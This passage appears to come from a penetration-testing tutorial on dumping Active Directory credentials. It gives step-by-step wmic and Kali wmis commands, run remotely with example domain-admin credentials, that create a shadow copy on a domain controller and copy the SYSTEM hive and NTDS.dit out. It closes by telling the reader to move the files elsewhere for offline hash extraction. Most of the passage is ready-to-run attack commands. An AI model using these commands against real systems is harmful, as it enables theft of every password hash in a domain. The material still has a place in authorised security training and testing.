If there are no shadow copies or the ones there are too old (look at the creation time), you can create a shadow copy using the ‘vssadmin create shadow /for=C: command. (This command only applies to Server OS (Win2k3/Win2k8) but since those are the only two that commonly have NTDS.dit files we don’t have to remember this):

1
C:\temp>wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin create shadow /for=C: 2>&1 > C:\temp\output.txt"

The other thing to keep in mind is that NTDS.dit isn’t always on the main drive. It is commonly on a “D” drive for safety if a HDD goes bad or something. But it should always be in a folder called NTDS. (By default this is C:WindowsNTDS)

Next we just copy the files out of the shadow copies. First the SYSTEM hive:

1
C:\temp>wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM.hive 2>&1 > C:\temp\output.txt"

Then the NTDS.dit (notice this one isn’t in System32):

1
C:\temp>wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit 2>&1 > C:\temp\output.txt"

In Kali Linux you could use the WMIS package to do much the same thing:

1
2
root@kali:~# wmis -U DOMAIN\domainadminsvc%domainadminsvc123 //DC1 cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit 2>&1 > C:\temp\output.txt
NTSTATUS: NT_STATUS_OK - Success

Copy those files to your own system for offline extraction which I’ll cover in part 2.